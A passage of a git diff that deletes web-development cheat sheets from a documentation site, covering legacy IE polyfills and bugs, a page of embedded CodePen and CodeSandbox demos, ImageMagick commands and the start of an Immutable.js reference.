--   [respond] for media queries (for IE8 below)
--   See [this article](http://ricostacruz.com/til/ie-polyfills.html) for info
-
-```html
-<!--[if lt IE 9]>
-<script src='https://cdnjs.cloudflare.com/ajax/libs/nwmatcher/1.2.5/nwmatcher.min.js'></script>
-<script src='https://cdnjs.cloudflare.com/ajax/libs/json2/20140204/json2.min.js'>
-<script src='https://cdn.rawgit.com/gisu/selectivizr/1.0.3/selectivizr.js'></script>
-<script src='https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js'>
-<script src='https://cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.js'>
-<![endif]-->
-```
-
-### You may also need
-
--   [modernizr] for feature detection
-
-### for CSS3 decorations
-
--   [css3pie]
--   [cssSandpaper]
--   [ecsstender]
-
-See: [Cross-browser polyfills list][fills]
-
-## Misc
-
-### IE Conditional comment HTML
-
-```html
-<!--[if lt IE 7]> <html class="ie6"> <![endif]-->
-<!--[if IE 7]>    <html class="ie7"> <![endif]-->
-<!--[if IE 8]>    <html class="ie8"> <![endif]-->
-<!--[if IE 9]>    <html class="ie9"> <![endif]-->
-<!--[if (gt IE 9)|!(IE)]><!-->
-<html class="">
-    <!--<![endif]-->
-</html>
-```
-
-### IE conditionals
-
-```html
-<!--[if IE]> I'm IE <![endif]-->
-<!--[if !IE]> -->
-Not IE
-<!-- <![endif]-->
-```
-
-[text-shadow]: https://github.com/heygrady/textshadow
-[ie7.js]: http://ie7-js.googlecode.com/svn/test/index.html
-[selectivizr]: http://selectivizr.com/
-[css3pie]: http://css3pie.com/
-[csssandpaper]: https://github.com/zoltan-dulac/cssSandpaper
-[html5shiv]: https://code.google.com/p/html5shiv/
-[fills]: https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills
-[json2]: https://github.com/douglascrockford/JSON-js
-[modernizr]: https://modernizr.com
-[ecsstender]: http://ecsstender.org/
-[respond]: https://github.com/scottjehl/Respond
-[flexbox]: https://caniuse.com/#feat=flexbox
-[cors]: https://caniuse.com/#feat=cors
-[localstorage]: https://caniuse.com/#feat=localstorage
-[json]: https://caniuse.com/#feat=json
-[datauri]: https://caniuse.com/#feat=datauri
-[validation]: https://caniuse.com/#search=validation
-[placeholder]: https://caniuse.com/#feat=input-placeholder
diff --git a/docs/content/cheat-sheets/ie_bugs.md b/docs/content/cheat-sheets/ie_bugs.md
deleted file mode 100644
index dc62f49cb6..0000000000
--- a/docs/content/cheat-sheets/ie_bugs.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Legacy IE bugs
-category: HTML
-
-intro: |
-    A bunch of bugs to take care of if you're going to target legacy IE browsers.
----
-
-### IE8: 'change' event
-
-The 'change' event doesn't always fire. Not for checkboxes, radios, multi-select lists. Use the `click` handler instead.
-
--   [(1)](http://stackoverflow.com/questions/8005442/checkbox-change-event-works-when-click-the-label-in-ie8-ie7)
-
-### IE8: label with input
-
-Clicking label with input inside doesn't focus the input.
-
--   [(1)](http://www.gtalbot.org/BrowserBugsSection/MSIE7Bugs/LabelForWithImage.html)
-
-### IE8: Opacity propagation
-
-An element's 'opacity' value isn't propagated to its positioned descendants.
-
--   [test case](http://jhop.me/tests/bugs/ie8/opacity_positioned.html)
diff --git a/docs/content/cheat-sheets/iframes.md b/docs/content/cheat-sheets/iframes.md
deleted file mode 100644
index 465cbd16ea..0000000000
--- a/docs/content/cheat-sheets/iframes.md
+++ /dev/null
@@ -1,511 +0,0 @@
-<iframe height="300" style="width: 90%;" scrolling="no" title="searchblog2.0"
-src="https://codepen.io/bgoonz/embed/LYyBwEp?default-tab=result&theme-id=dark"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/LYyBwEp">
-searchblog2.0</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" title="Fibonacci Carousel" src="" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href="https://replit.com/@bgoonz/Comments-1#index.html">
-Fibonacci Carousel</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-
-<br>
-<br>
-<br>
-<iframe scrolling="yes" src="https://goonlinetools.com/covid19/global" style="border: 0px none;height: 540px; margin-top: -110px; margin-bottom: -220px; width: 100%;"> </iframe>
-
-<br>
-<br>
-
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" title="Fibonacci Carousel"
-src="https://codepen.io/bgoonz/embed/JjNagJo?default-tab=result&theme-id=dark"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/JjNagJo">
-Fibonacci Carousel</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" title="embed-twitter-feed"
-src="https://codepen.io/bgoonz/embed/poPOqEO?default-tab=result&theme-id=dark"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/poPOqEO">
-embed-twitter-feed</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" src="//jsfiddle.net/bgoonz/j4xt839d/embedded/result/"
-allowfullscreen="allowfullscreen" frameborder="0"></iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" src="//jsfiddle.net/bgoonz/76osauer/1/embedded/result/"
-allowfullscreen="allowfullscreen" frameborder="0"></iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" src="//jsfiddle.net/bgoonz/vtz7820m/embedded/result/dark/"
-allowfullscreen="allowfullscreen" frameborder="0"></iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no"
-src="//jsfiddle.net/bgoonz/1dye9uws/2/embedded/js,html,css,result/dark/" allowfullscreen="allowfullscreen"
-frameborder="0"></iframe>
-<br>
-<br>
-<br>
-<iframe height="300" style="width: 90%;" scrolling="no" src="//jsfiddle.net/bgoonz/3mpgzkx7/1/embedded/"
-allowfullscreen="allowfullscreen" frameborder="0"></iframe> 
-<br>
-<br>
-<br>
-<iframe loading="lazy" src="https://codepen.io/bgoonz/embed/zYwJQaw?default-tab=html%2Cresult"
-style="width:90%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="hvbrd-sockets (forked)"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<br>
-<br>
-<!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-<br>
-<iframe loading="lazy" src="https://codesandbox.io/embed/bigo-3wqy4?fontsize=14&hidenavigation=1&theme=dark"
-style="width:90%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="hvbrd-sockets (forked)"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<br>
-<br>
-<br>
-<!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-<iframe loading="lazy"
-src="https://codesandbox.io/embed/hvbrd-sockets-forked-vsi2o?fontsize=14&hidenavigation=1&theme=dark"
-style="width:90%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="hvbrd-sockets (forked)"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-<br>
-<br>
-<iframe loading="lazy" src="https://codesandbox.io/embed/summer-surf-p6dei?fontsize=14&hidenavigation=1&theme=dark"
-style="width:90%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="summer-surf-p6dei"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<br>
-<br>
-<br>
-<br>
-<!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-<br> <br>
-<br>
-<iframe loading="lazy"
-src="https://codesandbox.io/embed/sharp-feistel-x8bvv?fontsize=14&hidenavigation=1&theme=dark"
-style="width:90%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="sharp-feistel-x8bvv"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<br>
-<!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-<!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
-<center>
-<br>
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no"
-title="3D Cover Flow in React! | @keyframers 3.7"
-src="https://codepen.io/bgoonz/embed/ExZvGoZ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz42/pen/RwpeaWr'>3D Cover Flow in React! | @keyframers
-3.7</a> by Bryan
-C Guner
-(<a href='https://codepen.io/bgoonz42'>@bgoonz42</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Simple Typing Carousel "
-src="https://codepen.io/bgoonz/embed/ExZvGoZ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/ExZvGoZ">
-Simple Typing Carousel </a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no"
-title="3D Cover Flow in React! | @keyframers 3.7"
-src="https://codepen.io/bgoonz42/embed/RwpeaWr?height=375&theme=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz42/pen/RwpeaWr'>3D Cover Flow in React! | @keyframers
-3.7</a> by Bryan
-C Guner
-(<a href='https://codepen.io/bgoonz42'>@bgoonz42</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<br>
-<!-------------------------------------------------------------------------------------->
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Video Background 1"
-src="https://codesandbox.io/embed/bgoonzblog20-oo3x5?fontsize=14&hidenavigation=1&theme=dark"
-style="width:90%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="bgoonzblog2.0"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<br>
-<br>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Video Background 1"
-src="https://codepen.io/bgoonz/embed/BaRLKBd?default-tab=html%2Cresult&theme-id=dark" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/BaRLKBd">
-Video Background 1</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<!-------------------------------------------------------------------------------------->
-<br><br>
-<!-------------------------------------------------------------------------------------->
-<br><br>
-<center>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no"
-title="CSS-only Colorful Calendar Concept" src="https://documentation-site-react2.vercel.app/"
-  frameborder="yes" loading="lazy"  allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/vYmKQYj">
-  CSS-only Colorful Calendar Concept</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br><br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="FullTextSearchjs"
-src="https://codepen.io/bgoonz/embed/QWvMWoQ?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/QWvMWoQ">
-  FullTextSearchjs</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="CSS Grid: Info Card"
-src="https://codepen.io/bgoonz42/embed/MWmpjmy?default-tab=html%2Cresult"   frameborder="yes" loading="lazy"
- allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz42/pen/MWmpjmy">
-  CSS Grid: Info Card</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz42">@bgoonz42</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<br>
-<!-------------------------------------------------------------------------------------->
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no"
-title="CSS-only Colorful Calendar Concept"
-src="https://codepen.io/bgoonz/embed/vYmKQYj?default-tab=html%2Cresult&theme-id=dark" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/vYmKQYj">
-  CSS-only Colorful Calendar Concept</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<br>
-<br>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br><br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Dashed Border Generator"
-src="https://codepen.io/bgoonz/embed/wvdgypd?default-tab=html%2Cresult&theme-id=dark" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href="https://codepen.io/bgoonz/pen/wvdgypd">
-  Dashed Border Generator</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
-on <a href="https://codepen.io">CodePen</a>.
-</iframe>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Particle tornado"
-src="https://codepen.io/bgoonz/embed/VwPwRvr?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/VwPwRvr'>Particle tornado</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="A Simple Fade Effect on Scroll"
-src="https://codepen.io/bgoonz/embed/OJWzbRa?height=375&theme-id=dark&default-tab=html,result"
-  frameborder="yes" loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/OJWzbRa'>A Simple Fade Effect on Scroll</a> by Bryan C
-Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Controlled Text Example"
-src="https://codepen.io/bgoonz/embed/oNZYbjZ?height=375&theme=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/oNZYbjZ'>Controlled Text Example</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="MatrixCode"
-src="https://codepen.io/bgoonz/embed/KKaKbQX?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/KKaKbQX'>MatrixCode</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="TroisJS InstancedMesh Test"
-src="https://codepen.io/bgoonz/embed/oNBNJMK?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/oNBNJMK'>TroisJS InstancedMesh Test</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="What's behind ?"
-src="https://codepen.io/bgoonz/embed/mdRdaQV?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/mdRdaQV'>What's behind ?</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------Vector Swarm------------------------------------------->
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="VectorSwarm"
-src="https://codepen.io/bgoonz/embed/BapavbW?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/BapavbW'>VectorSwarm</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Canvas Sparkly Circle Loader"
-src="https://codepen.io/bgoonz/embed/ExZxMPN?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/ExZxMPN'>Canvas Sparkly Circle Loader</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Canvas particles"
-src="https://codepen.io/bgoonz/embed/bGgGZEZ?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/bGgGZEZ'>Canvas particles</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Inline Styles with React"
-src="https://codepen.io/bgoonz/embed/WNRjBoO?height=375&theme=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/WNRjBoO'>Inline Styles with React</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Constellation"
-src="https://codepen.io/bgoonz/embed/zYNYbqK?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/zYNYbqK'>Constellation</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="95 000 particles"
-src="https://codepen.io/bgoonz/embed/PoWoLNy?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/PoWoLNy'>95 000 particles</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br><br>
-<p class="codepen" data-height="575" data-theme-id="dark" data-default-tab="html,result" data-user="bgoonz"
-data-slug-hash="DmnlJ"
-style="height: 375px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;"
-data-pen-title="Simple Responsive Form">
-<span>See the Pen <a href="https://codepen.io/chriscoyier/pen/DmnlJ">
-    Simple Responsive Form</a> by Bryan Guner (<a href="https://codepen.io/chriscoyier">@bgoonz</a>)
-  on <a href="https://codepen.io">CodePen</a>.</span>
-</p>
-<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Smooth Page Scrolling in jQuery"
-src="https://codepen.io/bgoonz/embed/KKamLNy?height=375&theme=dark&default-tab=html,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/KKamLNy'>Smooth Page Scrolling in jQuery</a> by Bryan C
-Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Demo Flexbox 3"
-src="https://codepen.io/bgoonz/embed/ZELKNBo?height=375&theme=dark&default-tab=css,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/ZELKNBo'>Demo Flexbox 3</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Scroll Drawing"
-src="https://codepen.io/bgoonz/embed/abpWrBP?height=375&theme=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/abpWrBP'>Scroll Drawing</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Light Javascript Table Filter"
-src="https://codepen.io/bgoonz/embed/qBRmGqw?height=375&theme=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/qBRmGqw'>Light Javascript Table Filter</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-
-<br>
-<br>
-<br>
-<iframe loading="lazy"
-src="https://codesandbox.io/embed/cold-firefly-si5u1?fontsize=14&hidenavigation=1&theme=dark"
-style="width:95%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="cold-firefly-si5u1"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy"
-src="https://codesandbox.io/embed/determined-star-57xlk?fontsize=14&hidenavigation=1&theme=dark"
-style="width:95%; height:575px; border:0; border-radius: 4px; overflow:hidden;" title="determined-star-57xlk"
-sandbox="allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts"></iframe>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="CSS Grid: Excel Spreadsheet"
-src="https://codepen.io/bgoonz/embed/abJYgGX?height=375&theme=dark&default-tab=css,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/abJYgGX'>CSS Grid: Excel Spreadsheet</a> by Bryan C
-Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="3D Drag out menu with guitar"
-src="https://codepen.io/bgoonz/embed/QWpmXxq?height=375&theme=dark&default-tab=css,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/QWpmXxq'>3D Drag out menu with guitar</a> by Bryan C
-Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no"
-title="Navigation bar with circle flexible highlight POC"
-src="https://codepen.io/bgoonz/embed/eYvMwKL?height=375&theme=dark&default-tab=css,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/eYvMwKL'>Navigation bar with circle flexible highlight
-  POC</a> by
-Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="gsuiOscilloscope"
-src="https://codepen.io/bgoonz/embed/eYvrgpe?height=375&theme=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/eYvrgpe'>gsuiOscilloscope</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="510" style="width: 90%;" scrolling="no" title="random quote(React.js)"
-src="https://codepen.io/bgoonz/embed/ZEeoyKv?height=510&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/ZEeoyKv'>random quote(React.js)</a> by Bryan C Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<!-------------------------------------------------------------------------------------->
-<br>
-<br>
-<br>
-<iframe loading="lazy" height="575" style="width: 90%;" scrolling="no" title="Web Audio API: Lightning Talk"
-src="https://codepen.io/bgoonz/embed/GRWdvNm?height=375&theme-id=dark&default-tab=js,result" frameborder="no"
-loading="lazy"  allowfullscreen="true">
-See the Pen <a href='https://codepen.io/bgoonz/pen/GRWdvNm'>Web Audio API: Lightning Talk</a> by Bryan C
-Guner
-(<a href='https://codepen.io/bgoonz'>@bgoonz</a>) on <a href='https://codepen.io'>CodePen</a>.
-</iframe>
-<br>
-<br>
diff --git a/docs/content/cheat-sheets/imagemagick.md b/docs/content/cheat-sheets/imagemagick.md
deleted file mode 100644
index ce9efbd89b..0000000000
--- a/docs/content/cheat-sheets/imagemagick.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Imagemagick
-
-intro: |
-    A quick reference for common [Imagemagick](https://www.imagemagick.org) commands and switches.
----
-
-### Common options
-
-| Option              | Description                     |
-| ------------------- | ------------------------------- |
-| `-resize 100x40`    | Resize to a dimension           |
-| `-crop 40x30+10+10` | (width)x(height)+(x)+y          |
-| `-crop 40x30-10-10` | (width)x(height)+(x)+y          |
-| `-flip`             | Vertical                        |
-| `-flop`             | Horizontal                      |
-| `-transpose`        | Flip vertical + rotate 90deg    |
-| `-transverse`       | Flip horizontal + rotate 270deg |
-| `-trim`             | Trim image edges                |
-| `-rotate 90`        | Rotate 90 degrees               |
-
-### Resize to fit
-
-```sh
-convert input.jpg -resize 80x80^ -gravity center -extent 80x80 icon.png
-```
-
-### Convert all images to another format
-
-```sh
-mogrify -format jpg -quality 85 *.png
-```
-
-### Make a pdf
-
-```sh
-convert *.jpg hello.pdf
-```
-
-### References
-
--   <http://www.noah.org/wiki/ImageMagick>
--   <https://www.imagemagick.org/>
diff --git a/docs/content/cheat-sheets/immutable.js.md b/docs/content/cheat-sheets/immutable.js.md
deleted file mode 100644
index 52ecfbe129..0000000000
--- a/docs/content/cheat-sheets/immutable.js.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Immutable.js
-category: JavaScript libraries
----
-
-### Maps
-
-```js
-var map = Immutable.Map({ a: 1, b: 2, c: 3 });
-```
-
-```js
-map.set('b', 50).get('b'); // 50
-```
-
-### Lists
-
